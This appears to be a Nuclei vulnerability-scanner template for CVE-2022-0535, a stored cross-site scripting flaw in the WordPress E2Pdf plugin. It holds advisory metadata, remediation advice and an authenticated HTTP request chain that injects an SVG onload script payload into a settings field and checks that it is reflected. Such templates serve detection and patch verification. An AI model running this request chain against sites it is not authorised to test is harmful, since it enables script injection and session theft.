WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2022-0535
info:
name: WordPress E2Pdf <1.16.45 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update the WordPress E2Pdf plugin to version 1.16.45 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/a4162e96-a3c5-4f38-a60b-aa3ed9508985
- https://wordpress.org/plugins/e2pdf/
- https://mikadmin.fr/tech/XSS-Stored-E2Pdf-798ef69b0e13c36acf5446358d57c965Dx90666bNvCw98.pdf
- https://nvd.nist.gov/vuln/detail/CVE-2022-0535
- https://plugins.trac.wordpress.org/changeset/2675049/e2pdf
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2022-0535
cwe-id: CWE-79
epss-score: 0.01023
epss-percentile: 0.76467
cpe: cpe:2.3:a:e2pdf:e2pdf:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: e2pdf
product: e2pdf
framework: wordpress
tags: cve,cve2022,wp-plugin,xss,authenticated,e2pdf,wpscan,wordpress,wp
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes
- |
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(body_4, 'placeholder=\"Developer IPs\" ></textarea><svg/onload=alert(document.domain)>')
- contains(header_4, "text/html")
- status_code_4 == 200
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_nonce" value="([0-9a-zA-Z]+)"'
internal: true
# digest: 4a0a00473045022035915b5af02f016600155d4de1c848819dc0b80b7e56f0955cad2fb7a0098c15022100d124ff306bffc93ca58da37f0cddedb014d6b47f6870e570ccabd6dd8d625617:922c64590222798bb761d5b6d8e72950